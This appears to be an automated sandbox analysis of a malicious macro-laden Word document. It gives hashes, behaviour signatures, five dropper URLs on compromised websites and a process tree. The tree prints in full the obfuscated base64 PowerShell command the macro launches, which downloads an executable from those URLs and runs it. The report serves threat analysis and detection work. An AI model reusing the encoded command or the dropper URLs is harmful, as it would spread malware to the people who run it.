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Analysis

  • max time kernel
    120s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    28/05/2024, 17:59

General

  • Target

    7ddc710efec2afde585c14b7aab0390d_JaffaCakes118.doc

  • Size

    159KB

  • MD5

    7ddc710efec2afde585c14b7aab0390d

  • SHA1

    ffff91695e0ab3289078686b0f805ecec5fb8d4b

  • SHA256

    dcf91d19c8b8e4703da7aa7e84e4905c4d3284fbe78bc56297f2429472c93822

  • SHA512

    05a8c4a6e8481bba138de73b6c600ace4eb67b69c20628f07e1cac66143dcdf889357ff313db79cb4d7cb7cd2bcc9c33182a317c0bc1bf062408a02dbef582dd

  • SSDEEP

    3072:L77HUUUUUUUUUUUUUUUUUUUTkOQePu5U8q4PeUizFNVKpoT5WI23:L77HUUUUUUUUUUUUUUUUUUUT52VR2Uic

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://www.madonnaball.com/wp-content/Xbc/

exe.dropper

http://www.drivingwitharrow.com/wp-content/plugins/w8KF86/

exe.dropper

http://totemrussia.com/6uq9udk/pt9G/

exe.dropper

http://kaziriad.com/wp-admin/8Y98/

exe.dropper

http://movetracker.com/wp-content/MYsw/

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\7ddc710efec2afde585c14b7aab0390d_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1340
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2572
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e JAB6AEQAQQB4AEcAdwBBAD0AKAAnAFMAJwArACcAQQBvAEEARAAnACsAJwBRAEEAQQAnACkAOwAkAHQAQQBvAGMARABCAEQAPQAmACgAJwBuAGUAdwAtAG8AJwArACcAYgBqAGUAYwAnACsAJwB0ACcAKQAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGwAUQBCAGMAVQBvAEIAQQA9ACgAJwBoACcAKwAnAHQAdABwACcAKwAnADoAJwArACcALwAnACsAJwAvAHcAdwB3ACcAKwAnAC4AbQBhAGQAbwBuAG4AYQAnACsAJwBiAGEAJwArACcAbABsAC4AJwArACcAYwAnACsAJwBvAG0ALwB3AHAAJwArACcALQBjAG8AbgB0AGUAbgAnACsAJwB0ACcAKwAnAC8AWABiAGMALwBAACcAKwAnAGgAdAB0ACcAKwAnAHAAOgAvAC8AdwB3ACcAKwAnAHcALgBkAHIAaQB2AGkAbgBnAHcAaQB0AGgAYQByAHIAbwAnACsAJwB3ACcAKwAnAC4AJwArACcAYwBvACcAKwAnAG0ALwB3AHAALQBjAG8AbgAnACsAJwB0AGUAJwArACcAbgAnACsAJwB0AC8AcABsAHUAZwBpAG4AcwAvAHcAOABLAEYAOAA2AC8AJwArACcAQAAnACsAJwBoACcAKwAnAHQAdABwACcAKwAnADoALwAnACsAJwAvAHQAJwArACcAbwB0ACcAKwAnAGUAJwArACcAbQByAHUAcwBzAGkAYQAnACsAJwAuAGMAbwBtACcAKwAnAC8ANgB1AHEAOQB1AGQAJwArACcAawAvAHAAJwArACcAdAAnACsAJwA5AEcALwBAAGgAdAB0AHAAOgAvACcAKwAnAC8AawBhAHoAaQByACcAKwAnAGkAYQBkAC4AYwBvAG0AJwArACcALwAnACsAJwB3AHAAJwArACcALQBhAGQAbQBpACcAKwAnAG4ALwA4AFkAOQAnACsAJwA4AC8AQABoACcAKwAnAHQAdABwADoALwAvAG0AbwAnACsAJwB2AGUAdAByAGEAYwBrACcAKwAnAGUAcgAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAnACsAJwAvACcAKwAnAE0AWQBzAHcALwAnACkALgAoACcAUwAnACsAJwBwAGwAaQB0ACcAKQAuAEkAbgB2AG8AawBlACgAJwBAACcAKQA7ACQAdABRAEIAMQBBAEEAQQBRAD0AKAAnAHcAJwArACcAWABHAEEAQwBVAEEAJwArACcAVQAnACkAOwAkAGkAQgBBAG8AQQBBAEEAIAA9ACAAKAAnADgAMAAnACsAJwA5ACcAKQA7ACQAWQBBAFUAQQBVAEEAdwA9ACgAJwBXACcAKwAnAGMAQQBCAEEAQQAnACsAJwBBAEQAJwApADsAJAByAFgAUQBvAFEAQQBBAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABpAEIAQQBvAEEAQQBBACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAcgBVAFoAWgB4AFEAVQAgAGkAbgAgACQAbABRAEIAYwBVAG8AQgBBACkAewB0AHIAeQB7ACQAdABBAG8AYwBEAEIARAAuACgAJwBEAG8AJwArACcAdwAnACsAJwBuAGwAbwBhAGQARgBpAGwAZQAnACkALgBJAG4AdgBvAGsAZQAoACQAcgBVAFoAWgB4AFEAVQAsACAAJAByAFgAUQBvAFEAQQBBACkAOwAkAGoAQQBaAEQAUQBBAHcARAA9ACgAJwBRAFUAQwBYAEEAVQAnACsAJwBBACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACAAJAByAFgAUQBvAFEAQQBBACkALgAiAEwAZQBuAGAARwBgAFQAaAAiACAALQBnAGUAIAA0ADAAMAAwADAAKQAgAHsAJgAoACcASQBuAHYAJwArACcAbwBrAGUAJwArACcALQBJAHQAZQBtACcAKQAgACQAcgBYAFEAbwBRAEEAQQA7ACQAYgBRAEEAQgBEAFEAPQAoACcAcQBfAEEAQgAnACsAJwBEAEEAJwArACcAQQAnACkAOwBiAHIAZQBhAGsAOwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAdwBEADQAbwBaAEcAPQAoACcAYwBVAHgAQQBBAEMAJwArACcAXwAnACkAOwA=
      1⤵
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2584

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      bbcb51b22841d02c0ad5bdf477d1802b

      SHA1

      394d02cc2fe968b4e4fc5fc395bdc64491a3fec6

      SHA256

      24b44aad48c41912dfcb3d9af4fdcd07d3baeed35ce74417b30fcd10cea07e5b

      SHA512

      071d48337d7ab269dc21e724008013cc5f8bf3ac0ebe099f187afe0c4db6c645f1cc90cfc7e5eff38e3413d9b9c9594bbad309a9dbc67ea6ffded6425aea31e3

    • memory/1340-25-0x0000000000780000-0x0000000000880000-memory.dmp

      Filesize

      1024KB

    • memory/1340-7-0x0000000000780000-0x0000000000880000-memory.dmp

      Filesize

      1024KB

    • memory/1340-2-0x000000007101D000-0x0000000071028000-memory.dmp

      Filesize

      44KB

    • memory/1340-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1340-0-0x000000002F8F1000-0x000000002F8F2000-memory.dmp

      Filesize

      4KB

    • memory/1340-24-0x000000007101D000-0x0000000071028000-memory.dmp

      Filesize

      44KB

    • memory/1340-9-0x0000000000780000-0x0000000000880000-memory.dmp

      Filesize

      1024KB

    • memory/1340-8-0x0000000000780000-0x0000000000880000-memory.dmp

      Filesize

      1024KB

    • memory/1340-41-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1340-42-0x000000007101D000-0x0000000071028000-memory.dmp

      Filesize

      44KB

    • memory/2584-15-0x000000001B300000-0x000000001B5E2000-memory.dmp

      Filesize

      2.9MB

    • memory/2584-16-0x0000000002220000-0x0000000002228000-memory.dmp

      Filesize

      32KB